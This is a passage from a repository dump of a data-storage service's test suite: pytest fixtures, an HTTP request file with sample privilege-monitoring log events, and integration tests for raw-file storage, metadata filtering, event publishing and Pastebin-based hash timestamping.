    "content": "import os\nfrom collections.abc import AsyncIterator, Iterator\nfrom pathlib import Path\n\nimport alembic.config\nimport pytest\nfrom pydantic import ValidationError\nfrom sqlalchemy.orm import sessionmaker\nfrom starlette.testclient import TestClient\n\nfrom bytes.config import Settings\nfrom bytes.database.db import SQL_BASE, get_engine\nfrom bytes.database.sql_meta_repository import SQLMetaDataRepository\nfrom bytes.rabbitmq import RabbitMQEventManager\nfrom bytes.raw.file_raw_repository import FileRawRepository\nfrom bytes.raw.middleware import IdentityMiddleware, NaclBoxMiddleware\nfrom bytes.repositories.hash_repository import HashRepository\nfrom bytes.timestamping.in_memory import InMemoryHashRepository\nfrom bytes.timestamping.pastebin import PastebinHashRepository\nfrom bytes.timestamping.rfc3161 import RFC3161HashRepository\nfrom tests.client import BytesAPIClient\n\n\n@pytest.fixture\ndef settings(tmpdir):\n    env_path = Path(__file__).parent.parent / \".ci\" / \".env.test\"\n    try:\n        return Settings(data_dir=Path(tmpdir))\n    except ValidationError:  # test is probably being run outside the container setup\n        with env_path.open() as f:\n            lines = [\n                line.strip().split(\"=\")\n                for line in f.readlines()\n                if line.strip() and line.strip()[-1] != \"=\" and not line.startswith(\"#\")\n            ]\n\n            for key, val in lines:\n                os.environ[key] = val\n\n        return Settings(data_dir=Path(tmpdir), _env_file=env_path)\n\n\n@pytest.fixture\ndef test_client(settings: Settings) -> TestClient:\n    from bytes.api import app  # import creates a Settings object requiring proper env variables\n\n    return TestClient(app)\n\n\n@pytest.fixture\ndef nacl_middleware(settings: Settings) -> NaclBoxMiddleware:\n    return NaclBoxMiddleware(kat_private=settings.private_key_b64, vws_public=settings.public_key_b64)\n\n\n@pytest.fixture\ndef pastebin_hash_repository(settings: Settings) -> HashRepository:\n    return PastebinHashRepository(api_dev_key=settings.pastebin_api_dev_key)\n\n\n@pytest.fixture\ndef mock_hash_repository(settings: Settings) -> HashRepository:\n    if settings.rfc3161_cert_file and settings.rfc3161_provider:\n        return RFC3161HashRepository(settings.rfc3161_cert_file.read_bytes(), str(settings.rfc3161_provider))\n\n    return InMemoryHashRepository(signing_provider_url=\"https://test\")\n\n\n@pytest.fixture\ndef meta_repository(\n    raw_repository: FileRawRepository, mock_hash_repository: PastebinHashRepository, settings: Settings\n) -> Iterator[SQLMetaDataRepository]:\n    alembicArgs = [\"--config\", \"/app/bytes/bytes/alembic.ini\", \"--raiseerr\", \"upgrade\", \"head\"]\n    alembic.config.main(argv=alembicArgs)\n\n    engine = get_engine(db_uri=str(settings.db_uri), pool_size=settings.db_connection_pool_size)\n    session = sessionmaker(bind=engine)()\n\n    yield SQLMetaDataRepository(session, raw_repository, mock_hash_repository, settings)\n\n    session.commit()\n\n    sessionmaker(bind=engine, autocommit=True)().execute(\n        \";\".join([f\"TRUNCATE TABLE {t} CASCADE\" for t in SQL_BASE.metadata.tables])\n    )\n\n\n@pytest.fixture\ndef bytes_api_client(settings) -> Iterator[BytesAPIClient]:\n    alembicArgs = [\"--config\", \"/app/bytes/bytes/alembic.ini\", \"--raiseerr\", \"upgrade\", \"head\"]\n    alembic.config.main(argv=alembicArgs)\n\n    client = BytesAPIClient(\"http://ci_bytes:8000\", settings.username, settings.password)\n    client.login()\n\n    yield client\n\n    sessionmaker(\n        bind=get_engine(str(settings.db_uri), pool_size=settings.db_connection_pool_size), autocommit=True\n    )().execute(\";\".join([f\"TRUNCATE TABLE {t} CASCADE\" for t in SQL_BASE.metadata.tables]))\n\n\n@pytest.fixture\ndef raw_repository(tmp_path: Path) -> FileRawRepository:\n    return FileRawRepository(tmp_path, IdentityMiddleware())\n\n\n@pytest.fixture\nasync def event_manager(settings: Settings) -> AsyncIterator[RabbitMQEventManager]:\n    manager = RabbitMQEventManager(str(settings.queue_uri))\n    channel = await manager._get_channel()\n    await channel.queue_delete(\"raw_file_received\")\n\n    yield manager\n"
  },
  {
    "path": "bytes/tests/integration/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/tests/integration/requests/calvin.http",
    "content": "###\nPOST http://localhost:8002/token\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=password&username={{bytes-username}}&password={{bytes-password}}\n\n> {%\n    client.test(\"Request executed successfully\", function() {\n        client.assert(response.status === 200, \"Response status is not 200\");\n    });\n\n    client.test(\"Has access token\", function() {\n        client.assert(response.body.hasOwnProperty(\"access_token\"), \"Cannot find 'access token' option in response\");\n    });\n\n    client.global.set(\"auth_token\", response.body.access_token);\n    client.global.set(\"boefje_meta_id\", \"dbb29eb4-2e0d-4322-bf85-a769e17cf0ba\");\n%}\n\n###\n\nPOST http://localhost:8002/bytes/boefje_meta/\nContent-Type: application/json\nAuthorization: Bearer {{auth_token}}\n\n{\n  \"id\": \"{{boefje_meta_id}}\",\n  \"started_at\": \"2020-12-28T10:11:40.903Z\",\n  \"ended_at\": \"2020-12-28T10:11:43.903Z\",\n  \"boefje\": {\n    \"id\": \"calvin\",\n    \"version\": null\n  },\n  \"input_ooi\": null,\n  \"arguments\": {},\n  \"organization\": \"_dev\"\n}\n\n###\n\nPOST http://localhost:8002/bytes/raw/{{boefje_meta_id}}?mime_types=calvin\nContent-Type: application/octet-stream\nAuthorization: Bearer {{auth_token}}\n\n[\n  {\n    \"log_count\": 9.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_routing_key\": \"test_app.account_change\",\n    \"window_emit\": 1.65597893E12,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655979300000\",\n    \"window_start\": 1.6559757E12,\n    \"log_action_code\": \"U\",\n    \"eventTitle\": \"UC: User privilege monitoring\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62b43a6e69c14474a3773f8b\",\n    \"window_end\": 1.6559793E12,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655979300000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 16.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_routing_key\": \"test_app.account_change\",\n    \"window_emit\": 1.655981491E12,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655982000000\",\n    \"window_start\": 1.6559784E12,\n    \"log_action_code\": \"U\",\n    \"eventTitle\": \"UC: User privilege monitoring\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62b43a6e69c14474a3773f8e\",\n    \"window_end\": 1.655982E12,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655982000000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 7.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_routing_key\": \"test_app.account_change\",\n    \"window_emit\": 1.655981491E12,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655982900000\",\n    \"window_start\": 1.6559793E12,\n    \"log_action_code\": \"U\",\n    \"eventTitle\": \"UC: User privilege monitoring\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62b445a869c14474a37747f4\",\n    \"window_end\": 1.6559829E12,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655982900000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 4.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_routing_key\": \"test_app.account_change\",\n    \"window_emit\": 1.658822215E12,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658825100000\",\n    \"window_start\": 1.6588215E12,\n    \"log_action_code\": \"U\",\n    \"eventTitle\": \"UC: User privilege monitoring\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62df9e499dd2b029d842576d\",\n    \"window_end\": 1.6588251E12,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658825100000\",\n    \"outbox_sent\": null\n  }\n]\n"
  },
  {
    "path": "bytes/tests/integration/test_bytes_api.py",
    "content": "import uuid\nfrom base64 import b64decode, b64encode\n\nimport httpx\nimport pytest\nfrom httpx import HTTPError\nfrom prometheus_client.parser import text_string_to_metric_families\n\nfrom bytes.api.models import BoefjeOutput, File, StatusEnum\nfrom bytes.models import MimeType\nfrom bytes.rabbitmq import RabbitMQEventManager\nfrom bytes.repositories.meta_repository import BoefjeMetaFilter, NormalizerMetaFilter, RawDataFilter\nfrom tests.client import BytesAPIClient\nfrom tests.loading import get_boefje_meta, get_normalizer_meta, get_raw_data\n\n\ndef test_login(bytes_api_client: BytesAPIClient) -> None:\n    bytes_api_client.login()\n    assert \"Authorization\" in bytes_api_client.client.headers\n    assert \"bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\" in bytes_api_client.client.headers[\"Authorization\"]\n\n\ndef test_metrics(bytes_api_client: BytesAPIClient) -> None:\n    metrics = bytes_api_client.get_metrics()\n\n    metrics = list(text_string_to_metric_families(metrics.decode()))\n    assert len(metrics) == 2\n    assert metrics[0].name == \"bytes_database_organizations_total\"\n    assert len(metrics[0].samples) == 1\n    assert metrics[1].name == \"bytes_database_raw_files_total\"\n    assert len(metrics[1].samples) == 0\n\n    database_organizations, database_files = metrics\n\n    assert database_organizations.samples[0].value == 0.0\n\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n    bytes_api_client.save_raw(boefje_meta.id, b\"test 123\")\n    bytes_api_client.save_raw(boefje_meta.id, b\"test 12334\", [\"text/boefje\"])\n\n    metrics = bytes_api_client.get_metrics()\n    metrics = list(text_string_to_metric_families(metrics.decode()))\n    assert len(metrics[0].samples) == 1\n    assert len(metrics[1].samples) == 1\n    database_organizations, database_files = metrics\n\n    assert database_organizations.samples[0].value == 1.0\n\n    assert database_files.samples[0].labels[\"organization_id\"] == \"test\"\n    assert database_files.samples[0].value == 2.0\n\n    boefje_meta = get_boefje_meta()\n    boefje_meta.id = str(uuid.uuid4())\n    boefje_meta.organization = \"test2\"\n    bytes_api_client.save_boefje_meta(boefje_meta)\n    bytes_api_client.save_raw(boefje_meta.id, b\"test 123\")\n\n    metrics = bytes_api_client.get_metrics()\n    metrics = list(text_string_to_metric_families(metrics.decode()))\n    assert len(metrics[0].samples) == 1\n    assert len(metrics[1].samples) == 2\n    database_organizations, database_files = metrics\n\n    assert database_organizations.samples[0].value == 2.0\n\n    assert len(database_files.samples) == 2\n    assert database_files.samples[0].labels[\"organization_id\"] == \"test\"\n    assert database_files.samples[0].value == 2.0\n    assert database_files.samples[1].labels[\"organization_id\"] == \"test2\"\n    assert database_files.samples[1].value == 1.0\n\n\ndef test_get_mime_type_count(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    bytes_api_client.save_raw(boefje_meta.id, b\"test 123\", [\"boefje\"])\n    raw_id = bytes_api_client.save_raw(boefje_meta.id, b\"test 12334\", [\"text/boefje\", \"boefje\"])\n\n    normalizer_meta = get_normalizer_meta(raw_id)\n    bytes_api_client.save_normalizer_meta(normalizer_meta)\n\n    assert bytes_api_client.get_mime_type_count(RawDataFilter(organization=[\"test\"])) == {\"boefje\": 2, \"text/boefje\": 1}\n\n    assert bytes_api_client.get_mime_type_count(RawDataFilter(organization=[\"test\"], normalized=True)) == {\n        \"boefje\": 1,\n        \"text/boefje\": 1,\n    }\n    assert bytes_api_client.get_mime_type_count(RawDataFilter(organization=[\"test\"], normalized=False)) == {\"boefje\": 1}\n\n\ndef test_boefje_meta(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n    retrieved_boefje_meta = bytes_api_client.get_boefje_meta_by_id(boefje_meta.id)\n\n    assert boefje_meta == retrieved_boefje_meta\n\n    with pytest.raises(HTTPError) as ctx:\n        bytes_api_client.save_boefje_meta(boefje_meta)\n\n    assert ctx._excinfo[1].response.json() == {\n        \"status\": \"failed\",\n        \"message\": \"Integrity error: object might already exist\",\n    }\n\n\ndef test_filtered_boefje_meta(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    query_filter = BoefjeMetaFilter(organization=boefje_meta.organization, boefje_id=boefje_meta.boefje.id)\n    retrieved_boefje_metas = bytes_api_client.get_boefje_meta(query_filter)\n\n    assert len(retrieved_boefje_metas) == 1\n    assert boefje_meta == retrieved_boefje_metas[0]\n\n    second_boefje_meta = get_boefje_meta(uuid.uuid4(), input_ooi=\"Network|internet\")\n    bytes_api_client.save_boefje_meta(second_boefje_meta)\n\n    query_filter = BoefjeMetaFilter(organization=boefje_meta.organization, boefje_id=boefje_meta.boefje.id, limit=2)\n    retrieved_boefje_metas = bytes_api_client.get_boefje_meta(query_filter)\n    assert len(retrieved_boefje_metas) == 2\n    assert boefje_meta == retrieved_boefje_metas[0]\n    assert second_boefje_meta == retrieved_boefje_metas[1]\n\n    query_filter = BoefjeMetaFilter(organization=boefje_meta.organization, input_ooi=\"Network|internet\", limit=2)\n    retrieved_boefje_metas = bytes_api_client.get_boefje_meta(query_filter)\n    assert len(retrieved_boefje_metas) == 1\n    assert second_boefje_meta == retrieved_boefje_metas[0]\n\n\n@pytest.mark.anyio\nasync def test_normalizer_meta(bytes_api_client: BytesAPIClient, event_manager: RabbitMQEventManager) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    raw = get_raw_data()\n    raw_id = bytes_api_client.save_raw(boefje_meta.id, raw.value, [m.value for m in raw.mime_types])\n    normalizer_meta = get_normalizer_meta(raw_id)\n\n    bytes_api_client.save_normalizer_meta(normalizer_meta)\n    retrieved_normalizer_meta = bytes_api_client.get_normalizer_meta_by_id(normalizer_meta.id)\n\n    normalizer_meta.raw_data.secure_hash = retrieved_normalizer_meta.raw_data.secure_hash\n    normalizer_meta.raw_data.hash_retrieval_link = retrieved_normalizer_meta.raw_data.hash_retrieval_link\n    normalizer_meta.raw_data.signing_provider_url = retrieved_normalizer_meta.raw_data.signing_provider_url\n\n    normalizer_meta.raw_data.mime_types = sorted(normalizer_meta.raw_data.mime_types)\n    retrieved_normalizer_meta.raw_data.mime_types = sorted(retrieved_normalizer_meta.raw_data.mime_types)\n\n    assert normalizer_meta.model_dump_json() == retrieved_normalizer_meta.model_dump_json()\n\n\ndef test_filtered_normalizer_meta(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    raw = get_raw_data()\n    raw_id = bytes_api_client.save_raw(boefje_meta.id, raw.value, [m.value for m in raw.mime_types])\n    normalizer_meta = get_normalizer_meta(raw_id)\n\n    bytes_api_client.save_normalizer_meta(normalizer_meta)\n\n    query_filter = NormalizerMetaFilter(\n        organization=boefje_meta.organization, normalizer_id=normalizer_meta.normalizer.id, limit=10\n    )\n    retrieved_normalizer_metas = bytes_api_client.get_normalizer_meta(query_filter)\n    assert len(retrieved_normalizer_metas) == 1\n\n    normalizer_meta.raw_data.secure_hash = retrieved_normalizer_metas[0].raw_data.secure_hash\n    normalizer_meta.raw_data.hash_retrieval_link = retrieved_normalizer_metas[0].raw_data.hash_retrieval_link\n    normalizer_meta.raw_data.signing_provider_url = retrieved_normalizer_metas[0].raw_data.signing_provider_url\n\n    assert normalizer_meta == retrieved_normalizer_metas[0]\n\n    second_normalizer_meta = get_normalizer_meta(raw_id)\n    second_normalizer_meta.id = uuid.uuid4()\n    bytes_api_client.save_normalizer_meta(second_normalizer_meta)\n\n    third_normalizer_meta = get_normalizer_meta(raw_id)\n    third_normalizer_meta.id = uuid.uuid4()\n    third_normalizer_meta.normalizer.id = \"third/normalizer\"\n    bytes_api_client.save_normalizer_meta(third_normalizer_meta)\n\n    retrieved_normalizer_metas = bytes_api_client.get_normalizer_meta(query_filter)\n    assert len(retrieved_normalizer_metas) == 2\n    assert normalizer_meta == retrieved_normalizer_metas[0]\n\n    query_filter.offset = 1\n    retrieved_normalizer_metas = bytes_api_client.get_normalizer_meta(query_filter)\n    assert len(retrieved_normalizer_metas) == 1\n\n    second_normalizer_meta.raw_data.secure_hash = retrieved_normalizer_metas[0].raw_data.secure_hash\n    second_normalizer_meta.raw_data.hash_retrieval_link = retrieved_normalizer_metas[0].raw_data.hash_retrieval_link\n    second_normalizer_meta.raw_data.signing_provider_url = retrieved_normalizer_metas[0].raw_data.signing_provider_url\n\n    assert second_normalizer_meta == retrieved_normalizer_metas[0]\n\n\ndef test_normalizer_meta_pointing_to_raw_id(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    raw = get_raw_data()\n    raw_id = bytes_api_client.save_raw(boefje_meta.id, raw.value, [m.value for m in raw.mime_types])\n    normalizer_meta = get_normalizer_meta(raw_id)\n\n    bytes_api_client.save_normalizer_meta(normalizer_meta)\n    retrieved_normalizer_meta = bytes_api_client.get_normalizer_meta_by_id(normalizer_meta.id)\n\n    normalizer_meta.raw_data.secure_hash = retrieved_normalizer_meta.raw_data.secure_hash\n    normalizer_meta.raw_data.hash_retrieval_link = retrieved_normalizer_meta.raw_data.hash_retrieval_link\n    normalizer_meta.raw_data.signing_provider_url = retrieved_normalizer_meta.raw_data.signing_provider_url\n\n    assert normalizer_meta == retrieved_normalizer_meta\n\n\n@pytest.mark.anyio\nasync def test_raw(bytes_api_client: BytesAPIClient, event_manager: RabbitMQEventManager) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    raw = b\"test 123\"\n    raw_id = bytes_api_client.save_raw(boefje_meta.id, raw)\n\n    retrieved_raw = bytes_api_client.get_raw(raw_id)\n\n    assert retrieved_raw == raw\n\n    channel = await event_manager._get_channel()\n    queue = await channel.declare_queue(\"raw_file_received\", durable=True)\n    message = await queue.get()\n\n    assert message is not None\n    await message.ack()\n\n    assert str(boefje_meta.id) in message.body.decode()\n\n\n@pytest.mark.anyio\nasync def test_raw_big(bytes_api_client: BytesAPIClient, event_manager: RabbitMQEventManager) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    raw = b\"test 123\" * 100000\n    raw_id = bytes_api_client.save_raw(boefje_meta.id, raw)\n\n    retrieved_raw = bytes_api_client.get_raw(raw_id)\n\n    assert retrieved_raw == raw\n\n    channel = await event_manager._get_channel()\n    queue = await channel.declare_queue(\"raw_file_received\", durable=True)\n    message = await queue.get()\n\n    assert message is not None\n    await message.ack()\n\n    assert str(boefje_meta.id) in message.body.decode()\n\n\ndef test_save_raw_with_one_mime_type(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta(meta_id=uuid.uuid4())\n    bytes_api_client.save_boefje_meta(boefje_meta)\n    mime_type = \"text/kat-test\"\n\n    raw = b\"test 123456\"\n    raw_id = bytes_api_client.save_raw(boefje_meta.id, raw, [mime_type])\n    retrieved_raw = bytes_api_client.get_raw(raw_id)\n\n    assert retrieved_raw == raw\n    assert (\n        len(\n            bytes_api_client.get_raw_metas(\n                RawDataFilter(boefje_meta_id=boefje_meta.id, normalized=False, mime_types=[MimeType(value=\"bad/mime\")])\n            )\n        )\n        == 0\n    )\n\n\ndef test_save_raw_no_mime_types(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta(meta_id=uuid.uuid4())\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    bytes_api_client.login()\n\n    raw_url = f\"{bytes_api_client.client.base_url}/bytes/raw\"\n\n    raw = b\"second test 123456\"\n    file_name = \"raw\"\n    response = httpx.post(\n        raw_url,\n        json={\"files\": [{\"name\": file_name, \"content\": b64encode(raw).decode(), \"tags\": []}]},\n        headers=bytes_api_client.client.headers,\n        params={\"boefje_meta_id\": str(boefje_meta.id)},\n    )\n    assert response.status_code == 200\n\n    get_raw_without_mime_type_response = httpx.get(\n        f\"{raw_url}/{response.json()[file_name]}\", headers=bytes_api_client.client.headers, timeout=30\n    )\n\n    assert get_raw_without_mime_type_response.status_code == 200\n    assert get_raw_without_mime_type_response.content == raw\n\n\ndef test_get_many_actual_raw_files(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta(meta_id=uuid.uuid4())\n    boefje_meta3 = get_boefje_meta(meta_id=uuid.uuid4())\n    boefje_meta3.organization = \"test2\"\n\n    bytes_api_client.save_boefje_meta(boefje_meta)\n    bytes_api_client.save_boefje_meta(boefje_meta3)\n\n    mime_types = [\"text/kat-test\", \"text/html\"]\n    second_mime_types = [\"text/kat-test\", \"text/status-code\"]\n    third_mime_types = [\"text/kat-test\", \"text/test\"]\n\n    raw = b\"test 123456\"\n    second_raw = b\"second test 200\"\n    third_raw = b\"third test 200\"\n    first_id = bytes_api_client.save_raw(boefje_meta.id, raw, mime_types)\n    second_id = bytes_api_client.save_raw(boefje_meta.id, second_raw, second_mime_types)\n    bytes_api_client.save_raw(boefje_meta3.id, third_raw, third_mime_types)\n\n    result = bytes_api_client.get_raws(RawDataFilter(raw_ids=[first_id], limit=10))\n    assert len(result) == 1\n    assert b64decode(result[0][\"content\"]) == raw\n\n    result = bytes_api_client.get_raws(RawDataFilter(raw_ids=[first_id, second_id], limit=10))\n    assert len(result) == 2\n    assert b64decode(result[0][\"content\"]) == raw\n    assert b64decode(result[1][\"content\"]) == second_raw\n\n    result = bytes_api_client.get_raws(RawDataFilter(organization=[\"test\"], limit=10))\n    assert len(result) == 2\n    assert b64decode(result[0][\"content\"]) == raw\n    assert b64decode(result[1][\"content\"]) == second_raw\n\n    result = bytes_api_client.get_raws(RawDataFilter(organization=[\"test2\"], limit=10))\n    assert len(result) == 1\n    assert b64decode(result[0][\"content\"]) == third_raw\n\n    result = bytes_api_client.get_raws(RawDataFilter(organization=[\"test\", \"test2\"], limit=10))\n    assert len(result) == 3\n    assert b64decode(result[0][\"content\"]) == raw\n    assert b64decode(result[1][\"content\"]) == second_raw\n    assert b64decode(result[2][\"content\"]) == third_raw\n\n\ndef test_raw_mimes(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta(meta_id=uuid.uuid4())\n    bytes_api_client.save_boefje_meta(boefje_meta)\n    mime_types = [\"text/kat-test\", \"text/html\"]\n    second_mime_types = [\"text/kat-test\", \"text/status-code\"]\n\n    raw = b\"test 123456\"\n    second_raw = b\"second test 200\"\n    first_id = bytes_api_client.save_raw(boefje_meta.id, raw, mime_types)\n    second_id = bytes_api_client.save_raw(boefje_meta.id, second_raw, second_mime_types)\n\n    first_meta = bytes_api_client.get_raw_meta(first_id)\n    second_meta = bytes_api_client.get_raw_meta(second_id)\n\n    assert first_meta.id != second_meta.id\n    assert {x.value for x in first_meta.mime_types} == set(mime_types)\n    assert {x.value for x in second_meta.mime_types} == set(second_mime_types)\n\n    assert bytes_api_client.get_raw(first_id) == raw\n    assert bytes_api_client.get_raw(second_id) == second_raw\n\n    retrieved_raws = bytes_api_client.get_raw_metas(\n        RawDataFilter(\n            boefje_meta_id=boefje_meta.id, normalized=False, mime_types=[MimeType(value=x) for x in mime_types]\n        )\n    )\n    assert len(retrieved_raws) == 1\n    assert {x[\"value\"] for x in retrieved_raws[0][\"mime_types\"]} == set(mime_types)\n\n    retrieved_raws = bytes_api_client.get_raw_metas(\n        RawDataFilter(boefje_meta_id=boefje_meta.id, normalized=False, mime_types=[MimeType(value=\"text/html\")])\n    )\n    assert len(retrieved_raws) == 1\n    assert {x[\"value\"] for x in retrieved_raws[0][\"mime_types\"]} == set(mime_types)\n\n    retrieved_raws = bytes_api_client.get_raw_metas(\n        RawDataFilter(boefje_meta_id=boefje_meta.id, normalized=False, mime_types=[MimeType(value=\"bad/mime\")])\n    )\n    assert len(retrieved_raws) == 0\n\n    query_filter = RawDataFilter(\n        organization=[boefje_meta.organization],\n        boefje_meta_id=boefje_meta.id,\n        mime_types=[MimeType(value=\"text/kat-test\")],\n        limit=3,\n    )\n    retrieved_raws = bytes_api_client.get_raw_metas(query_filter)\n\n    assert len(retrieved_raws) == 2\n    assert (\n        retrieved_raws[0][\"secure_hash\"] == \"sha512:ce89137e70b5f8433e787293f0c01332c0ca405d355a7080a50630340f7\"\n        \"7bf5227561a01cba83272273513097d91f3bf9a8e8f17416fadfc1575028157cef2df\"\n    )\n    assert (\n        retrieved_raws[1][\"secure_hash\"] == \"sha512:0ae68528b2daf4d9fd494ee378b043be8646489dbe1e7d63bbf33560f58\"\n        \"d6c9b5abaa05387644c635f0c8a327a261e1435ad78de0cb30745d8bb05d76ddda612\"\n    )\n\n\ndef test_cannot_overwrite_raw(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    right_raw = b\"test 123\"\n    first_raw_id = bytes_api_client.save_raw(boefje_meta.id, right_raw)\n    bytes_api_client.save_raw(boefje_meta.id, b\"321 test\")\n\n    retrieved_raw = bytes_api_client.get_raw(first_raw_id)\n\n    assert retrieved_raw == right_raw\n\n\ndef test_save_multiple_raw_files(bytes_api_client: BytesAPIClient) -> None:\n    boefje_meta = get_boefje_meta()\n    bytes_api_client.save_boefje_meta(boefje_meta)\n\n    first_raw = b\"first\"\n    second_raw = b\"second\"\n    boefje_output = BoefjeOutput(\n        status=StatusEnum.COMPLETED,\n        files=[\n            File(name=\"first\", content=b64encode(first_raw).decode(), tags=[]),\n            File(name=\"second\", content=b64encode(second_raw).decode(), tags=[\"mime\", \"type\"]),\n        ],\n    )\n\n    ids = bytes_api_client.save_raws(boefje_meta.id, boefje_output)\n\n    assert bytes_api_client.get_raw(ids[\"first\"]) == first_raw\n    assert bytes_api_client.get_raw(ids[\"second\"]) == second_raw\n\n    assert bytes_api_client.get_raw_meta(ids[\"first\"]).mime_types == set()\n    assert {x.value for x in bytes_api_client.get_raw_meta(ids[\"second\"]).mime_types} == {\"mime\", \"type\"}\n"
  },
  {
    "path": "bytes/tests/integration/test_event.py",
    "content": "import json\nfrom datetime import datetime\n\nimport pytest\n\nfrom bytes.events.events import RawFileReceived\nfrom bytes.rabbitmq import RabbitMQEventManager\nfrom tests.loading import get_raw_data_meta\n\n\n@pytest.mark.anyio\nasync def test_event_published_successfully(event_manager: RabbitMQEventManager) -> None:\n    test_organization = \"test\"\n    raw_data_meta = get_raw_data_meta()\n\n    # We use an isolated queue this way to not conflict with other integration tests\n    raw_data_meta.boefje_meta.organization = test_organization\n\n    event = RawFileReceived(\n        created_at=datetime(2000, 10, 10, 10), organization=test_organization, raw_data=raw_data_meta\n    )\n    await event_manager.publish(event)\n\n    channel = await event_manager._get_channel()\n    queue = await channel.declare_queue(event_manager._queue_name(event), durable=True)\n    message = await queue.get()\n\n    assert message is not None\n    response = json.loads(message.body)\n    await message.ack()\n\n    assert response[\"organization\"] == test_organization\n    assert response[\"raw_data\"] == event.raw_data.model_dump(mode=\"json\")\n    assert response[\"created_at\"] == \"2000-10-10T10:00:00\"\n"
  },
  {
    "path": "bytes/tests/integration/test_hash_service.py",
    "content": "import pytest\n\nfrom bytes.config import get_settings\nfrom bytes.database.sql_meta_repository import SQLMetaDataRepository\nfrom bytes.repositories.meta_repository import RawDataFilter\nfrom bytes.timestamping.pastebin import PastebinHashRepository\nfrom tests.loading import get_boefje_meta, get_raw_data\n\n\n@pytest.mark.skipif(get_settings().pastebin_api_dev_key is None, reason=\"Pastebin API key not set\")\ndef test_save_raw_data_pastebin(\n    meta_repository: SQLMetaDataRepository, pastebin_hash_repository: PastebinHashRepository\n) -> None:\n    meta = get_boefje_meta()\n\n    with meta_repository:\n        meta_repository.save_boefje_meta(meta)\n\n    with meta_repository:\n        meta_repository.save_raw(raw=get_raw_data())\n\n    query_filter = RawDataFilter(boefje_meta_id=meta.id)\n    raws = meta_repository.get_raw(query_filter)\n\n    assert (\n        raws[0].secure_hash == \"sha512:bc4d1f0a71ba9bf2ab2b7520322f8e969c48d5ae99e84b4a60b850f61ce\"\n        \"5b1e95e13f3ef6c43680fb03960f98799a92770e30591253784cc3213b194a73ea21d\"\n    )\n    assert raws[0].hash_retrieval_link is not None\n    assert \"https://pastebin.com/\" in raws[0].hash_retrieval_link\n\n    retrieved_hash = pastebin_hash_repository.retrieve(raws[0].hash_retrieval_link)\n\n    assert (\n        retrieved_hash == \"sha512:bc4d1f0a71ba9bf2ab2b7520322f8e969c48d5ae99e84b4a60b850f61ce\"\n        \"5b1e95e13f3ef6c43680fb03960f98799a92770e30591253784cc3213b194a73ea21d\"\n    )\n"
  },
  {
    "path": "bytes/tests/integration/test_meta_repository.py",
